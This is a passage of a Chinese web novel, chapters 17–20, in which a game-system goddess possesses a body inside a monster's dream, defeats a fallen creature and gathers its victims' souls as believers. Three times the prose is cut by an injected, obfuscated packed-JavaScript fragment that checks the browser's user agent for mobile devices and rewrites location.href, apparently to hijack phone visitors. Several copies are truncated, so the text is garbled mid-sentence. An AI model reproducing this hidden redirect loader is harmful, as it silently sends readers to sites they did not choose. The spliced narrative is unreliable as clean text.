对方一副我什么都知道但就是不告诉你的谜语人做派，她引起的事情却让自己来解决。都郁顿时有种给对方打白工的不爽。 “我只能观测，不能插手。” 陈星之一愣，回想了几秒许久未用的人际交往，夹着烟的手举起，烟头对着门口鬼鬼祟祟的佑时。 “她身上有你要的东西，就当是报酬吧。” 17. 昏级堕落种！ 顺着陈星之的话望过去，都郁心里陡然一惊。 明明佑时来路不明非常可疑，但在陈星之开口前，她竟然都没想起还有这号人存在！ 她的认知被篡改了！ 就算不算神格的增强，她的精神力也是A级，用系统的话说已经站在了凡人的顶端，到底多强大的精神力能蒙蔽她的感知？ 【咕！是￥…*…%#的气息。】 166似乎也刚注意到佑时，后脖羽毛炸得蓬松出一团，发现说出的提示变成乱码，声音里竟然带了点怒气： 【咕，请玩家尽快扩散信仰，升级祭坛，干碎￥…*…%#！！！】 向来跟工具人一样的166竟然能气成这样，都郁模仿那段奇怪的声音：“那个￥…*…%#是什么？” 【就是￥…*…%#呀，请玩家尽快升级祭坛！】 那古怪的乱码听多了有些头晕，都郁没有再问，有时候，回答不了也是一种回答。 “大力！阻止她！” 老菜看清佑时现在的模样，瞳孔骤缩，冷汗唰地流下。 不用老菜再吩咐，阿莉娅手指已经扣住扳机，掌间暗红色的虚幻火焰呼啦爆燃，子弹愣是打出了炮弹的气势。 佑时的背影顿了下，缓缓转过身，一个琥珀色的漩涡占据了大半部分脸，只留下一张微笑的嘴，开合间露出的不是牙齿和血肉，而是一片仿佛通向虚无的幽黑。 “陈姐姐。” 佑时似乎叹息一声，伸手轻轻搭在密闭的铁门上，“虽然……，但你知道的，我是不愿意跟你作对的，我们目的不同，你就当没看见不好吗？” “轰——” 炮弹在狭小的空间里爆炸，佑时向前伸出一只手，冲击波吹得她衣角哗啦作响，那只指尖甚至还有倒刺的手就那么静静地悬浮在空中。 手指微弯，弹灰似地一拂，散发着恐怖光热的子弹瞬间坍塌成一块废铁，掉在地上发出一声脆响。 “【战争】的味道，倒是很适合探索迷雾，可惜，姐姐差点运气，在这儿遇到了我。” 漩涡下的嘴似笑非笑，那漩涡也像眼睛那样弯了几分，伸出的手下落，佑时转回了脸。她搭在门上的手下扭曲的光芒一闪，黑色漩涡迅速扩散，几息之间就吞噬了五米高的合金铁门！ “叽！” 熟悉，但更加尖锐的叫声自漩涡内传出。佑时向旁走了几步，让出足够的空间。 先是密密麻麻粗壮的触须，随后爬出滑腻的巨型肉块，一只狰狞的怪物迫不及待地挤出漩涡！ 那怪物和她们在研究所门口打死的那只依稀有些相似，但是体型更大，触须更狰狞，挂在尾部的不是一个肉球，而是三个对着不同方向，表情各异的巨大人类头颅！ 透过怪物半透明的软肉，能看见三条粗壮的，不断蠕动的白蛆，形状乍一看有点像人类的脊椎骨。 【你目睹了[][]存在的[][]，精神受到冲击，强制进行一次意志检定……】 【天赋[黄金意志·K]生效，你豁免此次意志检定!】 【身为神明，还要进行强制意志坚定，这次经历让你倍受屈辱，获得限时buff[神辱臣死]，信徒理智下降3点，信仰点获取数量增加百分之三十】 都郁：？ 什么屈辱？一直偷偷窥屏的系统咋还给她加戏呢？不过看这个buff的效果，显然，游戏系统也和166一样，在催促自己升级。 都郁心思一转，猛地蹲下躲避，一根一米多厚的触须重重砸在身后，“咚”的一声凿下半米。 顾不得思考怪物为什么不攻击陈星之和佑时，都郁操纵“小然”以惊人的灵活，接连躲过触须攻击，冲向猫胡子等人。 这些都是她宝贵的潜在信徒，可不能出事了！ 她们不像都郁有意志检定豁免，在怪物出现的一瞬间僵在原地。 最先恢复神智的竟然是沈奚静，她刚从恐怖中挣脱，怪物的触须已经近在咫尺！ 她没有办法，一咬牙，双手合十又快速分离，一个粉色泡泡颤颤悠悠自手中飞出，将众人包裹在其中，“啪”地一声被触须抽飞！ 泡泡表面疯狂颤抖，在落地滚了一圈后压力像是到了临界点，“啵”的一声炸开。沈奚静面色一白，嘴角溢出一丝鲜血。 “咳……” 老菜吐出一口苦涩的粉水，第二个恢复神智。她眼神虚焦一瞬，看清怪物后脸色难看无比： “【昏】！是昏级怪物！” “什么？！” 沈奚静惊骇地睁大眼，气堵在胸口出不去，险些又呕出一口血来。 昏级怪物，意味着该生物已经彻底走向诡异，拥抱疯狂，已经完成堕落，彻底改变了旧有的生命形态！ 意志不坚定的人光是直面堕落种，就有疯狂的可能。即使是堕落种中最低的【昏】，也要至少三名A级异能者联手才能对抗！ 这种怪物不是只有远离文明的裂隙中才可能出现吗？她们这得是多“好”的运气才能在这里遇到！ 事已至此，来不及震惊。沈奚静勉强平复精神空间中的震荡，踉跄跑到猫胡子身边，掌心浮现出浅粉色光晕，缓缓盖在女童目呲欲裂，只剩下眼白的眼睛上。 “嗬、嗬……” 猫胡子像是从深远的噩梦中惊醒，紧紧攥住沈奚静的手，猛地坐起，瞳孔翻了回来，额头上的冷汗还没消，察觉到急袭来的劲风，声音尖锐： “好运！” “咚！” 那怪物似乎趔趄了一下，原本冲两人来的触须歪了一瞬，砸在距两人不到半米的地面上。 沈奚静抱起陷入虚弱的猫胡子，回头一看眼睛倏然睁大：“小心后背！” 一旁老菜唤醒了阿莉娅，两人正努力摇动昏迷的闻人秋，数道触须向她们袭来！ 即使阿莉娅已经炸掉了三根，可是太多了！那怪物像是盯上了她们，围攻她们的足足有数十根触须！ 阿莉娅一时不察，一根触须以刁钻的角度，猛地砸向她的后背。以触须的力度，恐怕连A级异能者都扛不住这一击！ 老菜也注意到了阿莉娅的危机，眼中黑色光芒亮起，可是却晚了一步—— “唰！” 亮金色的长刀自虚空斩下，刀光闪过生生砍断了那怪物一条触须！ 好东西！都郁眼前一亮，“唰”的一下将触须收到背包。 在灵界漫游中，系统的大部分功能都可以使用，唯有背包一项加了限制：灵界漫游中，背包只能存取有“灵性”的物品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284159|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这个有“灵性”的界定标准就非常模糊了。都郁把背包里的东西都试了一遍，唯一能取出的只有嗜血圣刀。 只是取出后刀的名称变了，【名称：嗜血圣刀→夺灵圣刀（灵体状态）】，特性里的“饮血”也变成了“夺灵”：在战斗中夺取伤口附近的灵性修复自身。 一把刀也有灵体状态？ 都郁抚摸刀身变得灿金的夺灵圣刀，几个想法瞬间浮现，同时与阿莉娅配合，挥刀接连斩下数道触须，收入背包。 长刀在战斗中不断轻吟，刀柄越来越烫，都郁如有所感，在又斩下一条触须后，没有收入背包中，而是将刀插了进去。 触须像放入烤箱中的橘子，迅速变得干瘪。与之相反，夺灵圣刀刀身越来越亮，像是突破了什么临界点，光芒瞬间收敛，在刀背上錾刻下一排繁密的花纹。 【叮咚！恭喜您的合成物[夺灵圣刀（灵界状态）吞噬足够超凡要素，完成升级！等级E→C]】 连跨两级！都郁心中一喜，只觉长刀变得更加顺手，是这次的敌人等级太高的缘故吗？ “咦？” 长刀的升级只用了几秒，却依旧引来了不必要的关注。 懒懒倚在旋涡外，像是在等什么的佑时，突然直起身，旋涡看向都郁，“是【圣杯】的气息，但又不完整。有趣，【圣杯】的线索竟然在你这里吗？” 陈星之抽完一只烟，没有再抽，手伸在火堆上烤火，没给那狰狞的怪物投去一丝注意力。 她看了眼那柄金色的刀，偏头看向佑时，语气冷淡：“别做多余的事，你刚刚做的已经在擦边了。” “哼，陈姐姐，我在你心里是这样的人吗？” 佑时收回视线，手指绕着发丝，语气似真非真：“我为什么要帮那群蠢货找东西？他们找不到事情才更好玩呢~” 她们交谈没有压低声音，都郁皱眉看了眼手中的刀，圣杯是什么？会引起她俩注意力的，不应该是一个C级的物品。 与合成时加入的那块暗金色金属碎片有关？ 记下这条也许能帮圣刀快速进化的方法，都郁趁怪物攻击没那么频繁，看向欲言又止的沈奚静：“你有什么话想对我说？” 尽管那个制作容器的未知存在加了“容易被忽视异常”的效果，但都郁现在纯属不装了，就快把我有问题制成牌子顶在脑门上了，再发现不了“小然”的问题她们也别接委托了。 “你、你是D主教？” 信徒对神明气息这么敏感的吗？ 都郁一挑眉，决心也发挥一次谜语人精神，控制“小然”笑吟吟道：“是，也不是。” “啊……” 沈奚静挠了挠头，目光放空，显然理解不了。一道苍老的声音从她怀里出现： “你从我们进入裂隙后就一直跟着我们？” 异常暴露后，错乱的记忆归位。什么不听话的实习生，她们根本就没有这个人！ “小然”是在她们进入裂隙后才突然出现，并非常自然地加入她们队伍的。 都郁顶着猫胡子怀疑的眼光，并没做解释，而是指向一直昏迷的闻人秋，意味深长道： “我是中途听见迷途的呐喊，才进入这具容器的……一直别有用心跟着你们的，反而是她吧。” 18. 噩梦终醒 第十八章 “你什么意思？” “追逐知识的学者，最有可能被知识侵蚀，不是吗？” 都郁操纵“小然”举起闻人秋的手，她布满薄茧的手不知何时变得柔软，皮肤微微透明，依稀能隔着蠕动的肌肉看见苍白的骨。 猫胡子眉头下压，猛地闭上眼咳嗽起来：“咳咳……静静，心灵守护！这个梦境能干扰心灵！” 这本来是她们进入梦境应该做的第一件事，可她们全都忘了这一点，一路上没有一个人发现异样，她们在那时就被干扰了吗？ 沈奚静慌慌张张地搓手，从腰包里掏出一块腊肉，一手拎起，一手揉搓着肉的边缘旋转，那块被咬了一小口的腊肉竟渐渐地变成了一朵玫瑰。 玫瑰半开不开，花苞肥大饱满，浓郁的香气盈满这一片区域，令人闻后神清气爽，头脑都轻快了些许。 都郁闻着玫瑰香气只觉得好闻，可其他人闻后神情舒缓，眼底的阴郁缓缓消失，似乎这花香能抵抗诡异的污染。 但闻人秋鼻子翕动，她的症状非但没有减轻，似乎还加重了不少。 她眉头蹙起，额头上大滴大滴猩红的汗珠滚落，一股淡淡的血腥味随之出现。这铁锈味有些刺鼻，不算好闻，却意外地令人上头，轻松就压过了馥郁的花香。 原本鲜嫩欲滴的玫瑰边缘在这时枯萎，花瓣一层层干枯脱落，沈奚静一狠心，掐掉了约三分之二的花瓣，面白如纸，嘴唇毫无血色：“心灵守护失败，球球姐恐怕……最乐观也是中度侵蚀后期。” 对于迷雾深处的诡异，普通人可能看一眼就会精神崩溃陷入疯狂，异能者们因为精神力强灵魂坚韧，多少有点抵抗力。 在侵蚀前期，也就是侵蚀程度较浅的时候，异能者们可以通过特殊特质或药物摆脱侵蚀。但当侵蚀加深，进入中度乃至离堕落只有一线的重度侵蚀的阶段，那就不是外力能解决的了。只能赌运气或者靠意志力硬挺。 侵蚀加深到这一阶段，即使异能者能够醒过来，性情也很有可能发生转变。如果该异能者再遇见侵蚀，很可能在侵蚀前期就彻底拥抱堕落，陷入疯狂。 而看闻人秋此时每个毛孔都在缓慢渗出血珠，浑身抽出，表情痛苦的样子，她不会是那些能挺过侵蚀的人。 沈奚静话音落下，阿莉娅呼出一口气，对着闻人秋的脑袋举起枪，嘴唇抿起，手指没有一丝颤抖，眼睛看向猫胡子。 “欸，先别急着壮士断腕。” 都郁不动声色地攥着枪口，不让它再直直对着自己准信徒的头颅，这么宝贵的信徒，万一大力走火了怎么办？ 猫胡子目光凝重地盯着都郁，眼里分明写满了不信任。很显然，如果都郁不说出个1234出来，她不介意打堕落怪物的时候连她一起打。 都郁无奈地耸耸肩，从闻人秋背包里翻出手帕，替她擦了擦血汗，语气平常地抛出一个惊雷： “你们难道没发现，进入实验室后，你们一直在跟NPC用大灾变之前的语言交流吗？” 虽然不知道为什么，但汉语在这里变成了具有诡异气息的古语，整个小队里只有闻人秋一个“窥密学者”掌握了这门语言。 可她们在研究所门口，遇到秦良平之后，一直都是用的汉语跟这个NPC交流！ 她们竟然也都听懂了，队伍里唯一懂古文字的闻人秋竟然也没有提出异议！ 都说语言是思维的载体，可她们在进入研究所的那一瞬，连语言都被篡改了，她们的思维真的还正常吗？ 众人目光骇然，都郁的话像一把锤子，一击敲碎了脑中无形的墙，一路上各种被强行忽视的异常涌了出来。 “呕——” 沈奚静干呕出声，瞳孔震颤满是惊恐，陈星之点燃的火堆“轰”地爆燃，火光洞穿天花板，火焰四处蔓延，恐怖的热量积蓄，空间开始扭曲，蹲在闻人秋身边的D主教抬头，冲她露出一个标准微笑。 她想起来了，一切都想起来了！ 她们进入的根本不是研究所，而是怪物敞开的巨口！所有的工作人员都是不断蠕动的肉块！样本室里装着的是祂吃剩的食物残渣！佑时是一团不断扭曲的漩涡，陈星之是一堆渐熄的火！ 一切都是假的，一切都是幻觉！ 根本不是迷雾扭曲了她们的梦境，而是她们被怪物诱骗，无知地走入的怪物的梦！ 假的，都是假的，这是一场骗局！所有人都在撒谎！ 完了，全完了，她们根本不可能逃离！ “嘘。” 沈奚静跪在地上，捂住脑袋无声尖叫，意识深处的阶梯在层层坍塌，偏激的情感，诡异的真相，压得她的理智摇摇欲坠。 普普通通的一个音节，却压过了所有嘈杂的声音，沈奚静喘着粗气抬头，看向身前面目模糊的存在，眼神深处是自己都没意识到的绝望和信赖。 “救……救……我……” “可怜的孩子。” 眼前人似乎摸了摸她的头，掌心温暖，但不可名状的宏大身影在眼前人身后浮现，冰冷狂乱的气息牢牢锁定住她，她只能颤栗着服从，交出所有理智。 狂躁的火焰渐渐远去，恐怖的热浪缓缓平息，所有的诡异骤然消失。 沈奚静呆呆抬头，实验室不复之前的干净整洁，整间屋子都像刚被火烧了一遍，到处是残骸和飞舞的黑灰，只有陈星之面前的手术台还突兀地保持整洁，静静地燃烧着一团火焰。 沈奚静看到火抖了几下，像是突然想起了什么似的，呆滞低头，她的队友们七扭八歪地躺在地上，但看胸膛的起伏，即使是面色最扭曲的闻人秋都还活着。 做完这些，她有些不知道要干什么，愣愣地看向一道勉强拼成人形的明亮紫光，空荡荡的精神空间开始波动： “主，救救，朋友……” “让她们诵念我的名。” 那道声音恢弘高远，用着陌生的伟大语言，她却奇妙地听懂了那吩咐的含义，下意识蹲在闻人秋旁边，念了一遍尊名后愣在原地： “可她们，现在不能说话？” 那道紫色的高贵身影顿了一下，“用你的能力催眠她们。” 这梦境里的未知存在和沈奚静的能力相似，都是影响心灵的，这也许是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在耳边响起“滴答滴答”的声音时，那两根指针倒转，无形的漩涡笼罩住怪物，原本大半都给烧毁的怪物在旋涡的笼罩下伤口复原，体型开始膨胀，甚至比刚出现时还要庞大。 它身后卷着的三颗头颅也随之膨大，皮肤被鼓起得肉块撑得透明，表情狰狞，如果不是见过它之前的样子，都郁都没法确认这三堆不明东西竟然是人头。 “我、说、了！你、不、可、以、干、涉！” 一旁跟挂机一样的陈星之终于有了动静，却不是对那怪物，而是对佑时。 她一字一顿地说完，眼白迅速被黑色覆盖，手中夹的烟像按了快速键飞速燃烧，恐怖的气息自这个刚刚还不起眼的研究员。 佑时嘴角张到最大，在如炮弹般轰来的黑焰降临前，两脚蹦地，身体以不可思议的角度弯折了三百六十度，两只脚直接甩到脸上的漩涡中。 “嘻，你不过是星星的余烬，真把自己当时光的主人啦？再见啦，旧日的残渣！” 眼见佑时小腿、大腿、腰都都在眨眼间翻入了旋涡，整个人消失大半，都郁猛地揪住166翅膀： “快，166！我要接管她的身体！” 19. 将心比心 【咕，我们是正经系统，是不会接管别人身体的~166只能控制没人要的容器哒！】 166啰啰嗦嗦地在都郁脑中絮叨，动作倒是不慢。都郁刚说完话，意识就进入了一具陌生的身体。 刚一进去，都郁就察觉到了佑时和“小然”的不同，身体里骤然冒出一股强大的斥力，挤压着她的精神力。 同时，脑内响起了佑时惊讶的声音，简直是三百六十度立体声环绕播放：“你是谁？你怎么做到的？谁命令你来的？” 都郁怀疑自己甚至都听到了回声，她粗略估计自己只能控制这具身体三秒，没理会佑时，操纵这具身体，旋涡下的嘴动地飞快： “侵蚀裂隙中的时空行者、吞噬时间谜语的六翼白鸽、谛听两端的聆听之主！我祈求您的垂怜！” “咦？这是哪个新冒出来的伪神的祈祷词，还挺敢编，缺信徒缺到这份上了？不过这只是一具容器，你是不可能得到信仰的……” 佑时仍旧在絮絮叨叨，试图跟都郁搭话。都郁没理会她，容器不会得到信仰她在附身“小然”后就知道了，她飞速地念出最后一句话： “我愿意为您奉上我的全部作为献祭！愿将这具身体全部的无用之物奉献给您！” “你！” 佑时惊疑不定地喊了一声，似乎还接了句什么，但都郁收到背包新增东西的提示，毫无留恋地结束投射，跳回了“小然”的身体中。 她的做法是正确的，因为就在下一瞬，那隐隐泛着空间波动的漩涡顿住，一股气机锁定都郁，那佑时似乎放弃了跑路，要来抓她！ 不会吧？你都戏耍我这么久了，偷你点东西你就破防？这么小气？ 都郁一边腹诽，一边重新熟悉“小然”的身体，一边飞速盘算能用的技能。 陈星之似乎也察觉到佑时的意图，即将轰中她的黑焰飞速凝聚，在漩涡前化为一道巨大的黑色巴掌，一掌将佑时扇了回去！ “陈、星、之！” 愤怒的话音渐远，旋涡旋转的速度陡然加快，连带着旋涡附近的空间都变得扭曲，旋涡下端如折叠般朝上翻折，整个漩涡最终折叠坍塌为一个小点，被黑焰毫不客气地烧掉。 “谢了啊。” 都郁挑挑眉，对陈星之道了一个非常真诚的谢，看佑时的架势，自己是偷到好东西了，这都多亏了陈星之的提示。 “插手不该插手的，就会遭到厄运反噬。” 陈星之神情淡淡，好似刚刚升起的怒气从未出现过一般，手继续搭在火上烤火，散发着恐怖气息的黑焰在半空中无声消散。 她事不关己的态度已经很明显了，但耐不住总有给点阳光就能灿烂的厚脸皮，都郁接着陈星之的话茬： “那你要不要让她更倒霉一点？” 都郁控制着“小然”搓搓手，继续忽悠： “你看，佑时虽然人走了，但她最后还是做完了想做的事。你不如把她想做什么告诉我，我连这件事都给她搅和了，岂不是更好？” 陈星之面无表情地盯着她，眼皮垂落遮住大半眼珠，即使忽视掉她的实力，这样的眼神也足以令普通人胆颤，可惜都郁脸皮厚得远非常人能够比拟。 她瞅着似乎快要完成进化的怪物，甚至还催促了几声。 陈星之：…… 她收回视线，看着掌下的火焰渐渐低矮，露出被烧的如焦炭一般的黑灰，突然开口： “如果不是你进入了这具容器，在样本室的时候她们就都会死。” 都郁恍然，难怪她觉得这个梦境，在天心发难前显得过于和平，原来是她误打误撞帮一行人解决了前期的BOSS。 确实，以猫胡子一行人对队友的重视来看，如果不是她操纵着“小然”，恐怕她们被“小然”坑死，都不会发现梦境中的危险竟然来自“同伴”。 【失心柄目】有心灵方面的权柄，也许这就是她的原本计划？ 陈星之将手翻了个面，均匀地烤火，“在发现容器被占了后，祂又用知识污染了【真理】的信徒，但直到她意识濒临崩溃，那条虫子也没能把她炼成容器。” 【真理】的信徒，应该指闻人秋。确实，她虽然在侵蚀中出现了异状，但始终没有对同伴下手。 “到了这里，梦境中那条虫子的残余全部消耗掉了，她们只要到达中央实验室就能找到出去的门，于是佑时出现了。” 难怪，佑时确实是在样本室里突然跳出来的，她的出场非常突兀，连心灵被扭曲的一行人都无法信任她。 陈星之眼睛倒映着逐渐微弱的火光，她没说的是，她是发现佑时出现后跟着进入梦境的。 “听起来佑时想帮助那位存在狩猎，她信仰那位存在？” 话虽如此，可都郁总觉得佑时打量环境时，眼底总带着轻蔑，不像是有信仰的样子。 “不。” 陈星之眼神没有波动，一旁已经能开始行动的怪物突然一僵，一圈细细的黑焰紧紧包围着它。 “这个梦是那条虫子死之前的幻想……祂已经死了，这就是祂的残骸。” “祂已经死了？” 都郁惊讶，陈星之拂手，火焰将残骸聚集在一处，温度提高到堪称恐怖的高度，所有东西都在扭曲的高温里烧得干干净净，只剩下一点眼珠大小的颗粒闪着微光。 火焰渐熄，陈星之徒手从中取出那如同宝石一般的颗粒，神色莫名地看了几秒，抬手将它钉在了右耳上。 “星星虽然死了，但是余烬落在了‘过去’。佑时想要重新用信仰点燃残骸，找到那虫子剩下的遗留物，献给【命运】得到赏赐。” “原来如此，”都郁眼皮一跳，命运最近在她身边出现的可太频繁了，“【命运】要素已经有神明执掌了？” 陈星之双手插兜，黑焰“腾”地在她脚下升起，整个人在火焰的炙烤下变得虚幻，她没肯定，也没否定，离开前只留下一句语焉不详的提示： “路的尽头只能有一人通行……小心【命运】。” 没了黑焰的钳制，那被佑时强化过的怪物恢复行动，三颗被挤得变形的头颅双眼睁开，满是怨毒。 都郁无语地记下陈星之说了跟没说一样的衷告，已给全部队友做完催眠，守护着她们醒来的沈奚静突然抬头，揉捏胀痛的太阳穴： “……我好像听见，它在说它们很痛苦……” “你听得没错。” 都郁注视着眼前越发膨大，表情愈加狰狞痛苦的怪物，无形的力量凝聚在刀锋：“所以让我们一起，终结她们的痛苦。” “静静，你的异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那有篮球大的瞳孔直直盯着她，里面无数细小的触须翻腾纠结，也许是信仰的原因，此时沈奚静脑中的画面也同步到了都郁眼前—— 被卖到荒无人烟的偏僻地区……生吃蛞蝓的恶心和肿痛……被反复切割又缝合的无尽痛苦……意识在沉沦中永堕黑暗…… 都郁扬起刀，精神力疯狂燃烧，鲜亮嚣张的紫焰点燃灿金的刀锋，眼前非人怪物的眼睛与一双双麻木的眼眸重合，紧握住刀柄的手没有一丝颤抖，径直横劈向怪物的头颅！ 劈、砍、挑！ 一颗臃肿痛苦的人类头颅飞在半空，那双一百多颗眼珠构成的巨大眼瞳罕见地迷茫了一瞬，翻滚着的永不止息的痛苦在这一瞬都似乎远离，像是她们曾用余生祈求的终结—— 怪物的血淋在身上，裸露的皮肉“嗤——”地冒出白烟，持刀的手毫无动摇，继续向前，剜出剩下的两颗人类头颅！ “啪嗒。” 沈奚静跌坐在地，看着前方，眼神发空。 三秒已过，怪物的触须无力垂落在地，翻开的伤口处血雨漫天，只依稀可见一道灿金色长光，一道伤痕累累的人影持刀跳下。 沈奚静骤然松了一口气，怪物死了，她还活着，她们都能活着了。 “咳……昏级怪物可没那么好杀。” 身后传来一道虚弱的声音，沈奚静却无暇注意，她骇然睁大双眼，只见那道站在人类头颅前的身影背后，举起了一条鲜红的触须—— 重重地冲那道身影劈去！ 20. 清醒的美梦 第二十章 不用166的播报，都郁都知道那怪物肯定没死。 她用刀撑着身体，站在三颗头颅前，快速用精神力选中，在意识中大喊：“系统，普通合成！” 【滴，当前材料已超出[普通合成]的材料等级上限，无法……】 “用最后一次合成器试用机会！” 都郁打断游戏系统的机械播报，虽然她现在只能合成E级或不入流的材料，但新手试用赠送的三次机会可没有这个限制！ 【滴……】 系统似乎卡了一下，眼前的三颗人类头颅才化为像素块消失。 都郁顾不得查看合成了什么，一个前扑，堪堪躲过触须的杀招，左肩还是被重重锤了一下。 “咳……” 都郁吐出一口带着内脏碎片的血，她操纵容器时，是可以选择感官削弱的。但要是完成战斗这么精细的操作，必须得百分百投入。 也就是说，这一击的痛苦，她不仅完全承受了，还因为身体的排异效果，受到的疼痛更大了！ “哈！” 都郁被抽飞，沈奚静强撑着上前，猫胡子犹豫了一下也跟了上去，但是那受了重伤的人却笑了一声，举起不知什么时候出现的……铁盆？ 都郁一边笑一边咳出口血，她毫不在意地抹掉，那双平凡的黑色眼睛中灿紫色涌动，隐隐散发出不可直视的神秘气息。 她对着地上痛苦蠕动，却不知为什么没有继续攻击的蛞蝓怪物，庄重地举起了……额，那个铁盆： “神听到了你们的痛苦，诵念祂的名，你们将得到自由。” 触须疯狂攻击地面，不断抽搐散发着憎恶气息的怪物卡顿了一下，在猫胡子不可思议的眼光中竟然真的挣扎消失，如死物般再无动静。 随着那三个掉落头颅的消失，都郁感知中怪物狂乱的意识痛苦中分裂，变成了无数大大小小，散发着熟悉气息的意识碎片。 有碎片依旧散发着憎恶的气息，但更多的却只能传达出痛苦和迷茫。都郁举起“铁盆”，顺着精神联系引导碎片离开怪物，进入“铁盆”中。 【警告！当前信徒处于特殊形态，接受该种信徒将对神明进化路线造成不可逆的影响，请玩家谨慎选择！】 【警告！当前……】 【警告！……】 系统警告的提示弹了整整三遍，足以看得出这件事的严重性，都郁看都不看，在密密麻麻的弹窗里点下“确认”的按钮。 事实上，系统这样的警告弹窗刷屏在样本室里就刷过一遍，都郁当时就点了确认。 在发现样本室的玻璃罐中的样本都具备灵性，不是虚假的时，她在众人走后就悄悄进去，试图忽悠这些宽泛来说还算拥有意识的样本信仰自己。 整个过程顺利得让人惊讶，那些破碎的意识一遇到自己，就像抓住了救命稻草一般，祈祷词刚传过去就自发开始诵念，不到一分钟就有一百五十六人念了她的祈祷词。 剩下的样品，要么是意识模糊，根本无法沟通；要么意识只剩下狂乱的暴虐，都郁的精神力一传出去就被搅碎。 只是念完，她们并没有像田一诺一样，一念完祈祷词就成为了她的信徒，都郁能模模糊糊感应到她们，却不如感应信徒那么清晰。 都郁质问166，166只含糊不清地说条件不满足，如果都郁之后还选择接受这批信仰的话，在梦境结束前会有机会的。 那怪物一出现，都郁就从它狂乱的意识中感受到几分熟悉的碎片，虽然不知道佑时做了什么，但那怪物就是所有样本拼凑起来的集合体！ 只是变成怪物后，所有碎片都受狂乱意识的控制，即使念过都郁的祈祷词，她也无法像之前那样与她们沟通。 在沈奚静控制住怪物后，都郁短暂地又能和她们建立联系。但模糊的意识中传来信息，如果那怪物的意识还在，她们就不能解脱。 粗暴地消灭那怪物还行不通，因为那蛞蝓状的怪物是她们潜意识的集合，怪物真正死亡的一瞬，她们也会随之死亡。 166劝她不要做多余的事，有了沈奚静等一批信徒，都郁就和迷雾外的世界有了链接，到时候以她们的梦为跳板，肯定能凑够信徒数，没必要非要接收这一批状态极差的信徒。 “但我都答应她们了，不是吗？” 在她们决定奉献全部，诵念她的名时，她们就已经是自己的信徒了。 给出许诺却不做到，做神做成这样可太失败了。 她能接受失败，却不接受投降！天赋中的黄金意志一栏正是她过往经历的写照：她绝不动摇，绝不后退！ 都郁不理会沉默的166，眼神沉稳，在合成物到手的一瞬间，她就知道166说的时机到了。 【合成物名称：美梦培养皿】 【等级：K（投喂昏级要素核心可升级）】 【合成物说明：带有陨落伪神[失心柄目]祝福的奇妙合成物。恒定效果：永不醒来的美梦，可以容纳破碎的灵魂；破碎的灵魂可在梦境中缓慢修复。】 【备注：培养皿中同一信仰的灵魂碎片越多，灵魂修复速度越快； 培养皿可容纳信仰唯一（已绑定），绑定合成物不可交易】 【评价：谎言也可出自善意，梦醒时分便是现实。清醒中沉沦，理智中疯狂，现实对你未尝不是梦境。】 【竟然是这样的评价吗……】 166蹲在“小然”肩上喃喃自语，它与游戏绑定，自然也能挺听见系统的播报。都郁察觉到它的异常，没等发问，166蹭了蹭缩小的都郁： 【咕~也许你的做法是对的！】 什么叫“也许是对的”？都郁心中腹诽，就算这件事的结果不好，但只要是她认定的事，她就非要逆着一切阻力做到不可！ “小……不对，D主教……” 沈奚静艰难蹭到都郁身边，犹豫地看向彻底变成一滩肉泥的怪物，斟酌着措辞：“……呃，大人？这怪物……” “哦，死了，不会诈尸的那种。” 都郁看着最后一点碎片进入，收起外表跟个铁盆没啥区别的【美梦培养皿】，心情难得有些不妙： 在样本室里有一百五十六人念了她的祈祷词，但她现在只收到一百三十七个灵魂碎片。有许多碎片彻底融入那怪物狂暴的意识，剩下的碎片状态也变得更差，有近一半都是都郁凭借联系硬拽出来的，已经不能响应都郁的呼唤。 算了，养着吧，有【美梦培养皿】在，总能养回来。 于此同时，系统【信徒＋6】的提示终于飘了出来。 虽然培养皿中的意识碎片都诵念了都郁的祈祷词，但因为过于破碎，只有几片相对比较完 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她们不像那些在漫长折磨中走投无路，只能抓住自己这根救命稻草的意识碎片们，她们但凡能有别的选择，恐怕都不会去信仰一个未知的邪神。 但她没有时间安抚她新鲜出炉的活人信徒了。 刚刚的一系列操作，不仅精神力快消耗光了，这具“容器”也在连番的冲击下濒临崩溃，让还想去逐日之城溜达几圈的都郁更郁闷了几分。 她长话短说，打断猫胡子的话：“是我主降下恩赐，救了你们。虽然主宽容慈爱，但你们也不能心安理得地接受神的赐福……” 猫胡子心里一紧，知道这位主教在索求祭品，可一个邪神，祂渴望的还能有什么……血肉？混乱？战争？瘟疫…… 都郁可没时间关注猫胡子心中的天人交战，梦境逐渐崩坏，都郁心念一动，一张写满了字的长纸条便出现在她手中。 翻看了确认无遗漏后，她将其递给一脸挣扎的猫胡子，拍了拍小孩的头，刚微笑着说完献祭的方法，整个人就在她面前崩散成一堆蠕动的肉块。 顶着一脸血沫的猫胡子：这是威胁吧？这一定是威胁吧？ 没看内容，她看纸片的长度就已经开始绝望，这邪神名不见经传，但胃口倒很大，她吃的下这些吗？ 可不管祂能不能吃的下，念出那段祈祷词后，她们的命已不在自己手中。她倒不怪沈奚静，在那种情况下，谁来恐怕都是这样的结果…… 只是，猫胡子还没和良心作战完，一旁的沈奚静好奇地凑过来，瞪大眼睛，将清单上的东西一样样读了出来： “最新型号的光脑，5个；豪华床垫，5个；大米，一百斤……” 